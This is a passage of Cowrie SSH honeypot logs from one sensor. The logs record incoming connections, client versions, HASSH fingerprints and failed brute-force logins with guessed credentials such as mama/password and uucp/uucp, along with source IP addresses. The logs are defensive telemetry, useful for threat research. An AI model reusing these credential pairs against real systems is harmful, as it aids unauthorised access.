keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:37.727966Z","src_ip":"23.249.28.115","session":"2d8b1246e548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mama","password":"password","message":"login attempt [mama/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:38.510160Z","src_ip":"23.249.28.115","session":"2d8b1246e548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:39.700609Z","src_ip":"23.249.28.115","session":"2d8b1246e548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":41568,"dst_ip":"159.203.135.109","dst_port":22,"session":"639301837c08","protocol":"ssh","message":"New connection: 159.65.30.211:41568 (159.203.135.109:22) [session: 639301837c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:51.134697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:51.138790Z","src_ip":"159.65.30.211","session":"639301837c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:51.210746Z","src_ip":"159.65.30.211","session":"639301837c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem2017","message":"login attempt [xem/xem2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:51.358179Z","src_ip":"159.65.30.211","session":"639301837c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:52.431495Z","src_ip":"159.65.30.211","session":"639301837c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":51250,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ac85306b5a","protocol":"ssh","message":"New connection: 138.128.241.222:51250 (10.17.0.5:22) [session: 36ac85306b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:55.725466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:55.729725Z","src_ip":"138.128.241.222","session":"36ac85306b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:55.734460Z","src_ip":"138.128.241.222","session":"36ac85306b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chain","password":"CHAIN","message":"login attempt [chain/CHAIN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:55.745243Z","src_ip":"138.128.241.222","session":"36ac85306b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:39:56.752202Z","src_ip":"138.128.241.222","session":"36ac85306b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":46832,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cf55eb63fb8","protocol":"ssh","message":"New connection: 34.81.72.185:46832 (159.203.135.109:22) [session: 8cf55eb63fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:34.005272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:34.009218Z","src_ip":"34.81.72.185","session":"8cf55eb63fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:34.199064Z","src_ip":"34.81.72.185","session":"8cf55eb63fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tst","password":"123456","message":"login attempt [tst/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:34.990362Z","src_ip":"34.81.72.185","session":"8cf55eb63fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:36.183739Z","src_ip":"34.81.72.185","session":"8cf55eb63fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":51734,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3829fe459a","protocol":"ssh","message":"New connection: 82.153.157.222:51734 (10.17.0.5:22) [session: 7e3829fe459a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:47.263300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:47.267728Z","src_ip":"82.153.157.222","session":"7e3829fe459a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:47.458988Z","src_ip":"82.153.157.222","session":"7e3829fe459a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"df760e310c18","protocol":"ssh","message":"New connection: 156.238.246.148:43576 (10.17.0.5:22) [session: df760e310c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:48.112493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:48.117234Z","src_ip":"156.238.246.148","session":"df760e310c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"issabel","password":"12345678","message":"login attempt [issabel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:48.213701Z","src_ip":"82.153.157.222","session":"7e3829fe459a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:48.322131Z","src_ip":"156.238.246.148","session":"df760e310c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mama","password":"password","message":"login attempt [mama/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:49.173628Z","src_ip":"156.238.246.148","session":"df760e310c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:49.307738Z","src_ip":"82.153.157.222","session":"7e3829fe459a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:50.381506Z","src_ip":"156.238.246.148","session":"df760e310c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":45584,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bfd5f70fb3a","protocol":"ssh","message":"New connection: 121.204.171.142:45584 (10.17.0.5:22) [session: 2bfd5f70fb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:56.725366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:56.729651Z","src_ip":"121.204.171.142","session":"2bfd5f70fb3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:56.966902Z","src_ip":"121.204.171.142","session":"2bfd5f70fb3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hl","password":"hlpass","message":"login attempt [hl/hlpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:57.969604Z","src_ip":"121.204.171.142","session":"2bfd5f70fb3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:40:59.217104Z","src_ip":"121.204.171.142","session":"2bfd5f70fb3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":32594,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6d79fcfcf7","protocol":"ssh","message":"New connection: 80.94.95.115:32594 (10.17.0.5:22) [session: be6d79fcfcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:00.674808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:01.744215Z","src_ip":"80.94.95.115","session":"be6d79fcfcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:01.850693Z","src_ip":"80.94.95.115","session":"be6d79fcfcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uucp","password":"uucp","message":"login attempt [uucp/uucp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:02.530356Z","src_ip":"80.94.95.115","session":"be6d79fcfcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":60450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e95f4fe77d9e","protocol":"ssh","message":"New connection: 131.161.249.165:60450 (159.203.135.109:22) [session: e95f4fe77d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:03.346337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:03.351531Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:03.475387Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:03.766894Z","src_ip":"80.94.95.115","session":"be6d79fcfcf7","protocol":"ssh"}
